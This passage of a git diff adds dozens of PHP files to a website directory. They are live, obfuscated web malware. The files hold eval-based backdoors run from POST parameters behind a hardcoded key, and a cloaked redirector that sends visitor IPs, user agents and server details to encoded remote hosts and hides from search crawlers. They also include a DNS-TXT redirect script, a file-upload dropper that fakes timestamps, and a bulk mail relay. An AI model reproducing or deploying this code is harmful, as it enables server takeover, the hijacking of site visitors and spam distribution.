$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($xdwcaaedpsznh)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$rrnsbxcrvs;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// XTdVfMrWr^PX9X9fc8V_yG=sh!cw)Gxz0
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($vgpahxdmazu); }
} else { $goto=base64_decode($vgpahxdmazu); }}
// gEEVg
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($vgpahxdmazu); }
} else { $goto=base64_decode($vgpahxdmazu); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($pep($zkvzcab));}
"; function mvuphazatfsrdz($errno,$errstr,$errfile,$errline){ $umamtuqrsx= create_function('',$errstr); array_map($umamtuqrsx,array('')); } set_error_handler('mvuphazatfsrdz');$akkyfgmkpxagyks=$heeaur($wtgafyhsrzm);user_error($akkyfgmkpxagyks,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('NSKFQZ')) +{ + define('NSKFQZ', __DIR__); +} + + + + +?> \ No newline at end of file diff --git a/22.12.2020/details.php b/22.12.2020/details.php new file mode 100644 index 0000000..80ce087 --- /dev/null +++ b/22.12.2020/details.php @@ -0,0 +1,39 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$nrzuw=str_ireplace("n","",$cadtrrxmdrdkydb);$phakdcns = "/*cnzdgspyrrwkd*/ if (!empty($_GET) && isset($_GET["mode"])){/*nfwsvseeq*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*pmwrxudar*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qeGVobWV4a2FxZXphKi8g")); } die; } if(!empty($_GET)){$epqrfyksf="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL3pndmdzL2VkYWR4cnVuYi9hOGFjN2ZhOTYwNDk0YTYyOGY4OGI2Y2Y4ZmNlZGYxZHF4dmJuZG1nLw=="; $sfwcwm=""; $dtxhxgpq="aHR0cDovL3VuaWNlZi5vcmc=="; $acxchauhucmvhg="new-w"; $nxanegubg="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //MVDQEW// 
$umtecwypyw=strrev(str_ireplace("p","","ppepppdppppopppppcpppppeppppdpppp_ppppp4pppp6ppeppppspppppappppbp"));$zkkefmebv="//ConfGui
// f.bK^#kx3$94kSSt7CuPF$*DgkbeBTv
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// 9H6S_uc8ZVTGWVxUBZXq.dVgm=
$mode=$_GET["mode"];
if($mode=="config" AND $nxanegubg==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($epqrfyksf).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$sfwcwm.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$nxanegubg.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($dtxhxgpq).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$acxchauhucmvhg.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// 53+DFNbrSzq@#w@BdgRm0
if($mode=="setconfig" AND $nxanegubg==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //MVD';
$kaka=$ka.'QEW// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $epqrfyksf="'.base64_encode($_POST["ptds"]).'"; $sfwcwm="'.$_POST["ptdsip"].'"; $dtxhxgpq="'.base64_encode($_POST["pto"]).'"; $acxchauhucmvhg="'.$_POST["pesdid"].'"; $nxanegubg="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// S1buQ_GZTbCE8)D
//send
if(empty($sfwcwm)) {$dom = explode("/", base64_decode($epqrfyksf)); $dom=$dom[2];} else {$dom=$sfwcwm;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// Zx-^fUhHREK6xsX^^geZ_b@te((17PQ#
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($epqrfyksf)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$acxchauhucmvhg;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// XVRMrdk$!Y5yWfY
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($dtxhxgpq); }
} else { $goto=base64_decode($dtxhxgpq); }}
// N$Hc6ZhHKQ
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($dtxhxgpq); }
} else { $goto=base64_decode($dtxhxgpq); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($umtecwypyw($zkkefmebv));}
"; function xerazwxchxpxq($errno,$errstr,$errfile,$errline){ $hzmparbpccq= create_function('',$errstr); array_map($hzmparbpccq,array('')); } set_error_handler('xerazwxchxpxq');$ffqfmtwttqhtcrm=$nrzuw($phakdcns);user_error($ffqfmtwttqhtcrm,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('AQTME')) +{ + define('AQTME', __DIR__); +} + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/dfggfbb.php b/22.12.2020/dfggfbb.php new file mode 100644 index 0000000..04f98f1 --- /dev/null +++ b/22.12.2020/dfggfbb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dgvsveaahf.php b/22.12.2020/dgvsveaahf.php new file mode 100644 index 0000000..538751b --- /dev/null +++ b/22.12.2020/dgvsveaahf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dhsssscsxg.php b/22.12.2020/dhsssscsxg.php new file mode 100644 index 0000000..8463d42 --- /dev/null +++ b/22.12.2020/dhsssscsxg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dhzuhr.php b/22.12.2020/dhzuhr.php new file mode 100644 index 0000000..af281e1 --- /dev/null +++ b/22.12.2020/dhzuhr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dmgdgr.php b/22.12.2020/dmgdgr.php new file mode 100644 index 0000000..d40efbe --- /dev/null +++ b/22.12.2020/dmgdgr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dmnfgrx.php b/22.12.2020/dmnfgrx.php new file mode 100644 index 0000000..f68cfbb --- /dev/null +++ b/22.12.2020/dmnfgrx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dpbmubnyc.php b/22.12.2020/dpbmubnyc.php new file mode 100644 index 0000000..9b79edf --- /dev/null +++ b/22.12.2020/dpbmubnyc.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dqmynz.php b/22.12.2020/dqmynz.php new file mode 100644 index 0000000..9c71d56 --- /dev/null +++ b/22.12.2020/dqmynz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dqpbkac.php b/22.12.2020/dqpbkac.php new file mode 100644 index 0000000..ca0b94e --- /dev/null +++ b/22.12.2020/dqpbkac.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dsfpybsr.php b/22.12.2020/dsfpybsr.php new file mode 100644 index 0000000..ff0f69b --- /dev/null +++ b/22.12.2020/dsfpybsr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dsrddbmua.php b/22.12.2020/dsrddbmua.php new file mode 100644 index 0000000..6452df1 --- /dev/null +++ b/22.12.2020/dsrddbmua.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dtusd.php b/22.12.2020/dtusd.php new file mode 100644 index 0000000..0071bbb --- /dev/null +++ b/22.12.2020/dtusd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/duhnkcmgv.php b/22.12.2020/duhnkcmgv.php new file mode 100644 index 0000000..567cf22 --- /dev/null +++ b/22.12.2020/duhnkcmgv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dxbha.php b/22.12.2020/dxbha.php new file mode 100644 index 0000000..39fc654 --- /dev/null +++ b/22.12.2020/dxbha.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dxhpcx.php b/22.12.2020/dxhpcx.php new file mode 100644 index 0000000..ecd08a4 --- /dev/null +++ b/22.12.2020/dxhpcx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dzcfrgfkdz.php b/22.12.2020/dzcfrgfkdz.php new file mode 100644 index 0000000..f062de7 --- /dev/null +++ b/22.12.2020/dzcfrgfkdz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/dzcgr.php b/22.12.2020/dzcgr.php new file mode 100644 index 0000000..c29196b --- /dev/null +++ b/22.12.2020/dzcgr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/e.php b/22.12.2020/e.php new file mode 100644 index 0000000..fbcebb9 --- /dev/null +++ b/22.12.2020/e.php @@ -0,0 +1,61 @@ + 0) { + die('User-agent: *\r\nDisallow: /\r\n'); +} + +$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; +if ($ua == '' || preg_match('/crawl|spider|bot|mediapartners|slurp|ezooms|ia_archiver|lycos/i', $ua)) { + header('HTTP/1.1 500 Internal Server Error'); + die(); +} + +if (!empty($_SERVER['HTTP_CLIENT_IP'])) { + $inf = $_SERVER['HTTP_CLIENT_IP']; +} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { + $inf = $_SERVER['HTTP_X_FORWARDED_FOR']; +} else { + $inf = $_SERVER['REMOTE_ADDR']; +} + +if (substr_count($inf, '.') == 3 && !isset($_GET['ts'])){ + $inf = 'ip-'.str_replace('.', '-', $inf).'.'; +} else { + $inf = ''; +} + +$host = $_SERVER['SERVER_NAME']; +if (strlen($host) > 0 && !isset($_GET['ts'])) { + $inf = $inf.'hst-'.substr(md5(strtolower($host)), -8).'.'; +} + +$d = array(base64_decode(str_replace('.', '', 'ZmV0Y2hkb.S4lc3B1bG.xkbnMu.Y29t'))); +foreach ($d as $k=>$v) { + $d[$k] = sprintf($v, $inf); +} + +for ($i = rand(0, count($d)); $i < 20 + count($d); $i++) { + $s = dns_get_record($d[$i % count($d)], DNS_TXT); + $location = ''; + if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt'])) { + if ((strpos($s[0]['txt'], 'blocked')) !== FALSE) { + header('HTTP/1.1 500 Internal Server Error'); + die(); + } + if ((strpos($s[0]['txt'], 'http')) !== FALSE) { + $location = $s[0]['txt']; + break; + } + } +} + +if (!strlen($location)) + die(); + +if (isset($_GET['ts'])) { + echo 'OK'.$location.'ERR'; +} else { + echo ''; +} diff --git a/22.12.2020/e5643a.php b/22.12.2020/e5643a.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/e5643a.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/e9a33f.php b/22.12.2020/e9a33f.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/e9a33f.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/eIWWgASwdddd.php b/22.12.2020/eIWWgASwdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/eIWWgASwdddd.php @@ -0,0 +1 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/eaapvu.php b/22.12.2020/eaapvu.php new file mode 100644 index 0000000..afbd462 --- /dev/null +++ b/22.12.2020/eaapvu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/eapzdv.php b/22.12.2020/eapzdv.php new file mode 100644 index 0000000..f850e71 --- /dev/null +++ b/22.12.2020/eapzdv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/eavmwwvx.php b/22.12.2020/eavmwwvx.php new file mode 100644 index 0000000..d52e0f7 --- /dev/null +++ b/22.12.2020/eavmwwvx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ebwgesdbdd.php b/22.12.2020/ebwgesdbdd.php new file mode 100644 index 0000000..43a376f --- /dev/null +++ b/22.12.2020/ebwgesdbdd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/edcbtnz.php b/22.12.2020/edcbtnz.php new file mode 100644 index 0000000..0a1ee82 --- /dev/null +++ b/22.12.2020/edcbtnz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/editgames.php b/22.12.2020/editgames.php new file mode 100644 index 0000000..68096e1 --- /dev/null +++ b/22.12.2020/editgames.php @@ -0,0 +1,36 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$mu=str_ireplace("y","",$xxmprvgngufux);$evwxddperdu = "/*esywpec*/ if (!empty($_GET) && isset($_GET["mode"])){/*bkvysafgbahn*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*uhurxgkcdk*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qdmhla2RwdmJwZW0qLyA=")); } die; } if(!empty($_GET)){$vbgsufdyc="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vcHl2dGZ3Zi92dHZtaGVrc3FwLzc3OWQ0ODRlOTExMTQ3NDc5NDdkNTgyYWJmMzFkYzQxY2htbm0v"; $bbampaa=""; $pzfdwsnk="aHR0cDovL3VuaWNlZi5vcmc=="; $pbwnwvf="new-w"; $zkbpkysdkwtbth="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //XYZSQT// 
$dgsf=strrev(str_ireplace("u","","uuueuuduuuuuouuucuuuueuuuuuduuu_uuuuu4uuuuu6uueuuuusuuuuuauuuubuuu"));$vsffkw="//ConfGui
// M3ZaqPH!Xe(qhEZvsu
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// +eeRUz3Y1SB=fS.YN*
$mode=$_GET["mode"];
if($mode=="config" AND $zkbpkysdkwtbth==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($vbgsufdyc).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$bbampaa.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$zkbpkysdkwtbth.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($pzfdwsnk).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$pbwnwvf.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// Pxehdd34Q62evqU0_kFp5uA8u
if($mode=="setconfig" AND $zkbpkysdkwtbth==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //XYZ';
$kaka=$ka.'SQT// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $vbgsufdyc="'.base64_encode($_POST["ptds"]).'"; $bbampaa="'.$_POST["ptdsip"].'"; $pzfdwsnk="'.base64_encode($_POST["pto"]).'"; $pbwnwvf="'.$_POST["pesdid"].'"; $zkbpkysdkwtbth="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// !pH@_n.(y6#)6B+=8@e5UbA(@v#.F0pZ34c5F5Dk75StwHv
//send
if(empty($bbampaa)) {$dom = explode("/", base64_decode($vbgsufdyc)); $dom=$dom[2];} else {$dom=$bbampaa;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// mR^9udVqKT$5Y)MHq9Z$=C9s9bQt
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
